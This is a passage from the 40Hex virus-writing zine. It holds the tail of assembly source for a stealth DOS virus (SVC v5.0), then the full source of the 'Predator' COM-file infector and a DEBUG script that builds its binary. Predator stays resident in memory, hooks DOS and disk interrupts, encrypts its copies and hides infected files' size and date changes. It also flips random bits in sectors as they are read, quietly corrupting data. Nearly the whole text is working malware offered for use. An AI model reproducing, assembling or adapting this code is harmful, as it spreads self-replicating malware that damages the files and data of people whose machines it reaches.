xor cx,cx ; to find file size
xor dx,dx
call callint21
sub ax,viruslength ; calculate carrier
sbb dx,0 ; size and store it
mov cs:carrierEOFhi,dx
mov cs:carrierEOFlo,ax
handleopen2_alreadyinfected:
xor cx,cx ; go to start of file
xor dx,dx
mov ax,4200h
call callint21
handleopen2_exit:
pop es
pop ds
pop si
pop di
pop dx
pop cx
pop bx
pop ax
exit_replaceflags:
popf
pop cs:storesIP
pop cs:storesCS
pop cs:returnFlags
pushf
push cs:storesCS
push cs:storesIP
iret
handleread_exit:
jmp handleread__exit
handleread:
call dword ptr cs:oldint21 ; prechain
pushf
push ax
push cx
push dx
push ds
push di
push si
push es
jc handleread_exit ; exit on error
cmp cs:filehand,0
je handleread_exit
cmp cs:filehand,bx
jne handleread_exit
mov cs:bufferoff,dx
mov cs:bufferseg,ds
mov cs:bytesread,ax
xor cx,cx ; get current file position
xor dx,dx
mov ax,4201h
call callint21
jc handleread_exit
sub ax,cs:bytesread ; find pre-read location
sbb dx,0 ; to see if need to
mov cs:origposhi,dx ; redirect it
mov cs:origposlo,ax
mov ax,4202h ; go to end of file
xor cx,cx
xor dx,dx
call callint21
sub ax,viruslength
sbb dx,0
mov cs:carrierEOFlo,ax
mov cs:carrierEOFhi,dx
cmp cs:origposhi,0 ; check if read was
jne handleread_notinheader ; from the header
cmp cs:origposlo,18h
jb handleread_inheader
handleread_notinheader:
mov cx,cs:origposhi ; check if read extended
mov dx,cs:origposlo ; into the virus
add dx,cs:bytesread
adc cx,0
cmp cx,cs:carrierEOFhi
jb handleread_notinvirus
ja handleread_invirus
cmp dx,cs:carrierEOFlo
ja handleread_invirus
handleread_notinvirus:
mov cx,cs:origposhi ; return to proper file
mov dx,cs:origposlo ; position
add dx,cs:bytesread
adc cx,0
mov ax,4200h
call callint21
handleread__exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop ax
jmp exit_replaceflags
handleread_invirus:
jmp handleread__invirus
handleread_inheader:
cmp cs:bytesread,0
je handleread_notinheader
mov cx,cs:carrierEOFhi
mov dx,cs:carrierEOFlo
add dx,offset savebuffer
adc cx,0
mov ax,4200h
call callint21
jc handleread_notinheader
push ds
pop es
push cs
pop ds
mov dx,offset savebuffer
mov ah,3Fh ; Read header
mov cx,18h
call callint21
jc handleread_notinheader
cmp ax,18h
jne handleread_notinheader
mov cx,cs:carrierEOFhi ; go to decryption values
mov dx,cs:carrierEOFlo
add dx,offset encryptval1
adc cx,0
mov ax,4200h
call callint21
mov ah,3Fh ; read decryption values
mov cx,2
mov dx,offset encryptval1
call callint21
jc handleread_inheader_error
mov si,offset savebuffer
mov ah,byte ptr cs:encryptval1
mov dh,byte ptr cs:encryptval2
call decrypt
mov cx,cs:origposlo
neg cx
add cx,18h
cmp cx,cs:bytesread
jb handleread_inheader_noadjust
mov cx,cs:bytesread
handleread_inheader_noadjust:
mov si,offset savebuffer ; copy previously read
add si,cs:origposlo ; stuff if necessary
mov di,cs:bufferoff
mov es,cs:bufferseg
cld
cmp cx,0
je handleread_inheader_nomove
rep movsb
handleread_inheader_nomove:
jmp handleread_notinheader
handleread_inheader_error:
jmp handleread_notinheader
handleread__invirus:
mov cx,cs:origposhi
cmp cx,cs:carrierEOFhi
ja handleread__invirus_gocarrierEOF
jc handleread__invirus_readpart
mov cx,cs:origposlo
cmp cx,cs:carrierEOFlo
jb handleread__invirus_readpart
handleread__invirus_gocarrierEOF:
mov cx,cs:origposhi
mov dx,cs:origposlo
mov ax,4200h
call callint21
xor ax,ax
handleread__invirus_exit:
pop es
pop si
pop di
pop ds
pop dx
pop cx
pop cs:returnFlags
jmp exit_replaceflags
handleread__invirus_readpart:
mov cx,cs:carrierEOFhi ; read portion of
mov dx,cs:carrierEOFlo ; file up to virus
mov ax,4200h
call callint21
sub ax,cs:origposlo
jmp short handleread__invirus_exit
handlewrite:
cmp bx,0
je handlewrite_exit
cmp bx,cs:filehand
jne handlewrite_exit
mov ax,4201h ; get current position
xor cx,cx ; in the file
xor dx,dx
call callint21
jc handlewrite_exit
mov cs:curposlo,ax
mov cs:curposhi,dx
mov ax,4202h ; go to end of file
xor cx,cx ; to find the filesize
xor dx,dx
call callint21
mov cs:filesizelo,ax
mov cs:filesizehi,dx
call disinfect ; disinfect the file
jc handlewrite_done
cmp cs:handletoinfect,0
jne handlewrite_done
mov cs:handletoinfect,bx
mov cs:filehand,0
handlewrite_done:
mov dx,cs:curposlo ; return to original
mov cx,cs:curposhi ; position
mov ax,4200h
call callint21
handlewrite_exit:
jmp exitint21
terminate:
mov cs:chkdskflag,0
jmp exitint21
check_chkdsk:
mov si,dx
cld
check_chkdsk_loop1:
lodsw
cmp ah,0
je check_chkdsk_exit
cmp ax,'HC'
je check_chkdsk_loop2
cmp ax,'hc'
je check_chkdsk_loop2
dec si
jmp short check_chkdsk_loop1
check_chkdsk_exit:
retn
check_chkdsk_loop2:
push si
lodsw
cmp ax,'DK'
pop si
jz check_chkdsk_found
cmp ax,'dk'
je check_chkdsk_found
dec si
jmp short check_chkdsk_loop1
check_chkdsk_found:
mov cs:chkdskflag,1
retn
getsetfiletime:
cmp al,0 ; get file tiem?
jne getsetfiletime_exit ; nope, exit
call dword ptr cs:oldint21 ; prechain
pushf
and cx,1Eh ; if (seconds == 60)
cmp cx,1Eh ; then xor with 60h
jne getsetfiletime_nofix ; to hide the change
xor cx,1Eh ; otherwise, don't
getsetfiletime_nofix:
jmp exit_replaceflags
getsetfiletime_exit:
popf
jmp dword ptr cs:oldint21
db '(c) 1990 by SVC,Vers. '
infection_marker db '5.0 ',0
begindata:
oldint1 dw 0, 0
oldint3 dw 0, 0
oldint8 dw 0, 0
oldint21 dw 0, 0
savebuffer dw 20CDh
dw 11 dup (0)
tickcount db 0
carrierPSP dw 0
origposlo dw 0
origposhi dw 0
carrierEOFlo dw 0
carrierEOFhi dw 0
bytesread dw 0
bufferoff dw 0
bufferseg dw 0
tempstoreCX dw 0
tempstoreDX dw 0
filehand dw 0
fileattr dw 0
filetime dw 0
filedate dw 0
chkdskflag dw 0
oldint24 dw 0, 0
oldint23 dw 0, 0
handletoinfect dw 0
storesIP dw 0
storesCS dw 0
returnFlags dw 0
filesizelo dw 0
filesizehi dw 0
curposlo dw 0
curposhi dw 0
workbuffer dw 12 dup (0)
storeAX dw 0
db 0
storess dw 0
storesp dw 0
int21command dw 0
encryptval1 db 0
encryptval2 db 0
dw 1990h ; written 1990
versionbyte db 50h ; version 5.0
endvirus = $
viruslength = $ - start
end start
-------------------------------------------------------------------------------
40Hex Issue 11 Volume 3 Number 2 File 008
Predator
Predator is a virus written by Phalcon/Skism's newest member, Priest. It
incorporates a number of stealth features. It infects only COM files.
Predator uses the "Century" technique of marking a virus infection; file dates
are bumped up 100 years to designate an infection.
--Predator Source Code---------------------------------------------------------
CSEG SEGMENT
ASSUME CS:CSEG, ES:CSEG, SS:CSEG
ORG 0h
; Source code of the Predator
; Priest
Its_Me equ 'IM'
Read_Only equ 1
Mem_Size equ offset Finish-offset Virus_Start ;amount of memory needed
Virus_Size equ offset Virus_End-offset Virus_Start ;size of virus
New_Virus_Size equ offset Finish-offset New_Virus ;size of virus w/
;encryption
Hundred_Years equ 0c8h
Version equ 30h ;Get DOS Version
Open equ 3dh ;Open File
Ext_Open equ 6ch ;Extended Open File
Execute equ 4bh ;Execute
Find_FCB equ 11h ;Find File Control Block
Find_FCB_Next equ 12h ;Find next FCB
Open_FCB equ 0fh ;Open FCB
Get_DTA equ 2fh ;Get DTA address
Find_Dir equ 4eh ;Find file
Find_Dir_Next equ 4fh ;Find next file
Attribute equ 1 ;infection flags
Opened equ 2
Written equ 4
Extended_FCB equ 0ffh ;Extended FCB will have the first
;byte equal to FFh
Virus_Start: mov sp,bp ;restore Stack after decryption
sti ;interrupts on
mov ah,Version
mov bx,Its_Me
int 21h ;Check if already resident
cmp ax,Its_Me
jne Go_Res
Jump_R_F: jmp Return_File
Go_Res: mov ax,cs
dec ax ;get segment of this MCB
MCB_ds: mov ds,ax
cmp byte ptr ds:[0],'Z' ;must be last Memory Control Block
jne Jump_R_F
Found_last_MCB: mov ax,Mem_Size ;Reserve enough for virus + data
mov cl,4h
shr ax,cl ;convert to paragraphs
inc ax
push ax
dec ax
shr ax,cl
shr cl,1
shr ax,cl ;convert to kilobytes
inc ax
push ds
xor bx,bx
mov ds,bx
sub word ptr ds:[413h],ax ;take memory from int 12
pop ds
pop ax
sub word ptr ds:[0003h],ax ;take it from availible memory
mov ax,cs
add ax,ds:[0003h] ;get segment of free memory
mov es,ax
push cs
pop ds
call $+3 ;next 3 instructions find Virus_Start
pop si
sub si,(offset $-1)-offset Virus_Start
xor di,di
mov cx,Mem_Size
cld
rep movsb ;copy us to High Memory
push es
mov ax,offset High_Start
push ax
retf ;jump up there
Virus_Name: db 'Predator virus '
Copyright: db '(c) Mar. 93 '
Me: db 'Priest'
File_Bytes db 0cdh, 20h, 0h ;first 3 bytes of infected .com file
Com_Spec: db '.COM',0h ;only .com files can be infected
High_Start: push cs
pop ds
mov ax,3521h ;get address of Int 21
int 21h
mov word ptr ds:[Int_21],bx ;save it
mov word ptr ds:[Int_21+2h],es
mov al,13h ;get address of Int 13
int 21h
mov word ptr ds:[Int_13],bx ;save it
mov word ptr ds:[Int_13+2h],es
mov ah,25h ;point Int 13 to our handler
mov dx,offset New_13
int 21h
mov al,21h ;21h too
mov dx,offset New_21
int 21h
xor ax,ax
mov ds,ax
mov ax,ds:[46ch] ;get a random number for
push cs ; activation task
pop ds
xchg al,ah
add word ptr ds:[Count_Down],ax ;Save it for count down
Return_File: push ss
pop es
mov di,100h
call $+3 ;get address of first 3 bytes of .com file
pop si
sub si,(offset $-1)-offset File_Bytes
push ss
push di
cld
movsw ;move them
movsb
push ss
pop ds
xor ax,ax
retf ;jump to original program
New_21: cmp ah,Open ;check function
je Infect
cmp ah,Ext_Open
je Ext_File_Open
cmp ah,Execute
je Infect
cmp ah,Find_FCB
je Stealth_FCB
cmp ah,Find_FCB_Next
je Stealth_FCB
cmp ah,Open_FCB
je Stealth_FCB_O
cmp ah,Find_Dir
je Stealth_Dir
cmp ah,Find_Dir_Next
je Stealth_Dir
cmp ah,Version ;other checking for us
jne Jump_21
cmp bx,Its_Me
jne Jump_21
mov ax,bx ;tell other that we're here
Ret_21: retf 0002h
Jump_21: jmp cs:Int_21
Stealth_Dir: jmp Hide_Find
Stealth_FCB: jmp Hide_FCB
Stealth_FCB_O: jmp Hide_FCB_O
Infect_Error_J: jmp Infect_Error
Ext_File_Open: mov word ptr cs:[File_Pnt],si ;Extended open uses DS:SI
jmp short Infect_ds
Infect: mov word ptr cs:[File_Pnt],dx ;Open & Execute use DS:DX
Infect_ds: mov word ptr cs:[File_Pnt+2h],ds
mov byte ptr cs:[Infect_Status],0h ;zero out progress byte
call Push_All ;Push all registers
call Hook_24 ;Hook Int 24 to avoid errors being displayed
call Is_Com ;Is it a .com file?
jb Infect_Error_J ;Carry flag set if it is not
lds dx,cs:[File_Pnt] ;get saved address of file name
mov ax,4300h ;fetch the attribute
push ax
call Old_21
pop ax
jb Infect_Error_J
mov byte ptr cs:[File_Attr],cl ;save attribute
test cl,Read_Only ;no need to change if not read only
je No_Attr_Rem
xor cx,cx
inc al
call Old_21 ;if read only, then zero out
jb Infect_Error_J
or byte ptr cs:[Infect_Status],Attribute ;update progress byte
No_Attr_Rem: mov ax,3dc2h ;open with write/compatibility
call Old_21
jb Infect_Error_J
xchg ax,bx ;handle into bx
push cs
pop ds
or byte ptr ds:[Infect_Status],Opened ;update progress byte
mov ax,5700h ;get date
call Old_21
cmp dh,Hundred_Years ;is it infected?
jnb Infect_Error
add dh,Hundred_Years ;else add 100 years to date
mov word ptr ds:[File_Date],dx ;save modified date
mov word ptr ds:[File_Time],cx
mov ah,3fh ;read first 3 bytes
mov cx,3h
mov dx,offset File_Bytes
call Old_21
cmp ax,cx ;if error, then quit
jne Infect_Error
cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files
je Infect_Error
cmp word ptr ds:[File_Bytes],'ZM'
je Infect_Error
mov al,2 ;set file pointer to end of file
call Set_Pnt
or dx,dx ;too big?
jne Infect_Error
cmp ax,1000 ;too small?
jb Infect_Error
cmp ax,0-2000 ;still too big?
ja Infect_Error
mov di,offset Jump_Bytes ;make a jump to end of file
push ax
add ax,100h ;these two are for the encryption
mov word ptr ds:[Decrypt_Start_Off+1],ax
push cs
pop es
mov al,0e9h ;e9h = JMP xxxx
cld
stosb
pop ax
sub ax,3h ; to end of file
stosw
call Encrypt_Virus ;encrypt the virus
mov ah,40h ;write the encrypted virus and the
;decryption routine to file
mov dx,offset New_Virus
mov cx,New_Virus_Size
call Old_21
jb Infect_Error
or byte ptr ds:[Infect_Status],Written ;update progress byte
xor al,al ;set file pointer to
call Set_Pnt ;beginning of file
mov ah,40h ;write the jump
mov dx,offset Jump_Bytes
mov cx,3h
call Old_21
Infect_Error: test byte ptr cs:[Infect_Status],Opened ;was file opened?
je Set_Attr
test byte ptr cs:[Infect_Status],Written ;was file written to?
je Close
mov ax,5701h ;if infected, restore modified date
mov dx,cs:[File_Date]
mov cx,ds:[File_Time]
call Old_21
Close: mov ah,3eh ;close file
call Old_21
Set_Attr: test byte ptr cs:[Infect_Status],Attribute ;attribute changed?
je Jump_Old_21
mov ax,4301h ;if changed, then restore it
xor cx,cx
mov cl,cs:[File_Attr]
lds dx,cs:[File_Pnt]
call Old_21
Jump_Old_21: call Unhook_24 ;unhook Int 24
call Pop_All ;pop all registers
jmp Jump_21 ;jump to original int 21
Set_Pnt: mov ah,42h ;set file pointer w/ al as parameter
xor cx,cx
cwd ;zero out dx
call Old_21
retn
Pop_All: pop word ptr cs:[Ret_Add] ;save return address
pop es
pop ds
pop si
pop di
pop bp
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[Ret_Add] ;jump to return address
Push_All: pop word ptr cs:[Ret_Add] ;save return address
pushf
push ax
push bx
push cx
push dx
push bp
push di
push si
push ds
push es
jmp cs:[Ret_Add] ;jump to return address
Hook_24: call Push_All ;push all registers
mov ax,3524h ;get int 24 address
call Old_21
mov word ptr cs:[Int_24],bx ;save address
mov word ptr cs:[Int_24+2h],es
mov ah,25h ;set new address to us
push cs
pop ds
mov dx,offset New_24
call Old_21
call Pop_All ;pop all registers
retn
Unhook_24: call Push_All
mov ax,2524h ;set old address back
lds dx,cs:[Int_24]
Call Old_21
call Pop_All
retn
New_24: mov al,3h ;int 24, fail
iret
Old_21: pushf ;call to original int 21
call cs:Int_21
retn
;Hide_Find hides the file size increase for functions 4eh and 4fh and the
;date change
Hide_Find: call Old_21 ;do the search
call Push_All ;push all registers
jb Hide_File_Error
mov ah,2fh ;get DTA address
call Old_21
cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Is it
jb Hide_File_Error ;infected?
sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take
;away 100 years from date
sub word ptr es:[bx.DTA_File_Size],New_Virus_Size ;take
;away Virus_Size from file size
sbb word ptr es:[bx.DTA_File_Size+2],0 ;subtract remainder
;although there will not be one
; I included it for expandibility
; (i.e. infecting .exe files)
Hide_File_Error:call Pop_All ;pop all registers
jmp Ret_21
;Hide_FCB hides the file size increase for functions 11h and 12h and the
;date change
Hide_FCB: call Old_21 ;find file
call Push_All ;push registers
or al,al ;al=0 if no error
jne Hide_FCB_Error
mov ah,Get_DTA ;get address of DTA
call Old_21
cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
jne Hide_FCB_Reg
add bx,7h ;yes, add 7 to address to skip garbage
Hide_FCB_Reg: cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected?
jb Hide_FCB_Error
sub byte ptr es:[bx.DS_Date+1h],Hundred_Years ;yes, restore
;date
sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size
sbb word ptr es:[bx.DS_File_Size+2],0 ;and remainder
Hide_FCB_Error: call Pop_All ;pop all registers
jmp Ret_21
;Hide_FCB_O hides the file size increase for function 0fh and the
;date change
Hide_FCB_O: call Old_21 ;open FCB
call Push_All ;push all registers
cmp al,0h ;al=0 if opened, else error
jne Hide_FCB_O_Error
mov bx,dx ;pointer into bx
cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
jne Hide_FCB_No_E
add bx,7h ;yes, add 7 to skip garbage
Hide_FCB_No_E: cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected?
jb Hide_FCB_O_Error
sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes,
;fix date
sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size
sbb word ptr ds:[bx.FCB_File_Size+2h],0 ;and remainder
Hide_FCB_O_Error:call Pop_All ;pop all registers
jmp Ret_21
Is_Com: push cs
pop ds
les di,ds:[File_Pnt] ;get address of file
xor al,al
mov cx,7fh
cld
repne scasb ;scan for null byte at end of file name
cmp cx,7fh-5h ;must be at least 5 bytes long,
;including ext. (.COM)
jnb Is_Not_Com
mov cx,5h ;compare last five bytes to ".COM",0
sub di,cx
mov si,offset Com_Spec ;offset of ".COM",0
cld
rep cmpsb ;compare them
jne Is_Not_Com
clc ;if .com file, then clear carry flag
retn
Is_Not_Com: stc ;else set it
retn
;This is the interrupt 13 handle, it's sole purpose is to complement a
;random bit after a random number of sectors (1-65535) have been read.
New_13: cmp ah,2h ;Is a sector going to be read
je Read_Sector
Jump_13: jmp cs:Int_13 ;no, continue on
Ret_13: call Pop_All ;pop all registers
retf 0002h
Read_Sector: mov byte ptr cs:[Sub_Value],al ;save number of sectors read
pushf
call cs:Int_13 ;read the sectors
call Push_All ;push flags
jb Ret_13 ;jump if error to return
mov al,cs:[Sub_Value] ;get number of sectors read
cbw
sub word ptr cs:[Count_Down],ax ;subtract it from our count
ja Ret_13 ;down
mov bx,200h ;200h bytes per sector
cwd ;zero dx
mul bx ;mul # of sectors by 200
dec ax ;minus one
xor cx,cx
mov ds,cx
mov cx,ds:[46ch] ;get random value
mov word ptr cs:[Count_Down],cx ;move it into count down
push cx
and cx,ax ;cx must be < ax
add bx,cx ;add it to the address of
pop cx ;where the sectors were read
add cl,ch ;randomize cl
rcr word ptr es:[bx],cl ;get a random bit
cmc ;reverse it
rcl word ptr es:[bx],cl ;put it back
jmp short Ret_13 ;jump to return
;The Encrypt_Virus module copies the decryption routine and an encrypted
;copy of the virus to a buffer
Encrypt_Virus: xor ax,ax
mov ds,ax
mov ax,ds:[46ch] ;get random value
push cs
pop ds
add byte ptr ds:[Decrypt_Value],al ;use as encryption key
mov al,ds:[Decrypt_Value] ;get encryption key
add ah,al ;randomize ah
add byte ptr ds:[Decrypt_Random],ah ;put random garbage
mov si,offset Decrypt_Code ;copy decryption routine
mov di,offset New_Virus
mov cx,offset Decrypt_End-offset Decrypt_Code
cld
rep movsb ;to buffer
mov si,offset Virus_Start ;copy virus
mov cx,((Virus_Size)/2)+1
Encrypt_Loop: xchg ax,cx
push ax
lodsw
rol ax,cl ;and encrypt
not ax
stosw ;to buffer
pop ax
xchg ax,cx
loop Encrypt_Loop
dec di ;fix pointer for
dec di ;decryption routine
sub di,offset New_Virus ;point decryption's SP to end of
;encrypted code for proper
;decryption
add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di
retn
;Decryption routine
Decrypt_Code: mov dx,((Virus_Size)/2)+1
db 0b1h ;mov cl,
Decrypt_Value db ?
cli
mov bp,sp
Decrypt_Start_Off:mov sp,1234h
Decrypt_Loop: pop ax
not ax
ror ax,cl
push ax
jmp short $+3
Decrypt_Random: db 12h
dec sp
dec sp
dec dx
jne Decrypt_Loop
Decrypt_End:
db ?
Virus_End:
Jump_Bytes db 3 dup(0)
Int_13 dd ?
Int_21 dd ?
Int_24 dd ?
Ret_Add dw ?
File_Pnt dd ?
Infect_Status db ?
File_Time dw ?
File_Date dw ?
File_Attr db ?
Count_Down dw ?
Sub_Value db ?
New_Virus db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0)
Finish:
;various structures
Directory STRUC
DS_Drive db ?
DS_File_Name db 8 dup(0)
DS_File_Ext db 3 dup(0)
DS_File_Attr db ?
DS_Reserved db 10 dup(0)
DS_Time dw ?
DS_Date dw ?
DS_Start_Clust dw ?
DS_File_Size dd ?
Directory ENDS
FCB STRUC
FCB_Drive db ?
FCB_File_Name db 8 dup(0)
FCB_File_Ext db 3 dup(0)
FCB_Block dw ?
FCB_Rec_Size dw ?
FCB_File_Size dd ?
FCB_File_Date dw ?
FCB_File_Time dw ?
FCB_Reserved db 8 dup(0)
FCB_Record db ?
FCB_Random dd ?
FCB ENDS
DTA STRUC
DTA_Reserved db 21 dup(0)
DTA_File_Attr db ?
DTA_File_Time dw ?
DTA_File_Date dw ?
DTA_File_Size dd ?
DTA_File_Name db 13 dup(0)
DTA ENDS
CSEG ENDS
END Virus_Start
--Predator Debug Script--------------------------------------------------------
n predator.com
e 0100 8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9
e 0110 AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64
e 0120 08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E
e 0130 33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8
e 0140 03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00
e 0150 33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72
e 0160 65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63
e 0170 29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73
e 0180 74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21
e 0190 89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04
e 01A0 8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00
e 01B0 CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31
e 01C0 04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57
e 01D0 FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C
e 01E0 74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74
e 01F0 27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15
e 0200 80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00
e 0210 2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC
e 0220 00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E
e 0230 29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08
e 0240 02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58
e 0250 72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0
e 0260 E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A
e 0270 01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A
e 0280 01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C
e 0290 04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D
e 02A0 81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D
e 02B0 B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30
e 02C0 F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0
e 02D0 E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04
e 02E0 B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8
e 02F0 52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06
e 0300 2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57
e 0310 2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A
e 0320 00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A
e 0330 0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C
e 0340 00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06
e 0350 25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25
e 0360 04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06
e 0370 2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89
e 0380 1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8
e 0390 19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21
e 03A0 04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D
e 03B0 04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26
e 03C0 80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF
e 03D0 1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE
e 03E0 E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80
e 03F0 3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26
e 0400 80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F
e 0410 00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00
e 0420 75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00
e 0430 C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F
e 0440 12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32
e 0450 C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B
e 0460 F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02
e 0470 74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33
e 0480 04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04
e 0490 98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33
e 04A0 C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03
e 04B0 D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E
e 04C0 D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00
e 04D0 26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE
e 04E0 00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2
e 04F0 F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1
e 0500 00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12
e 0510 4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00
e 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
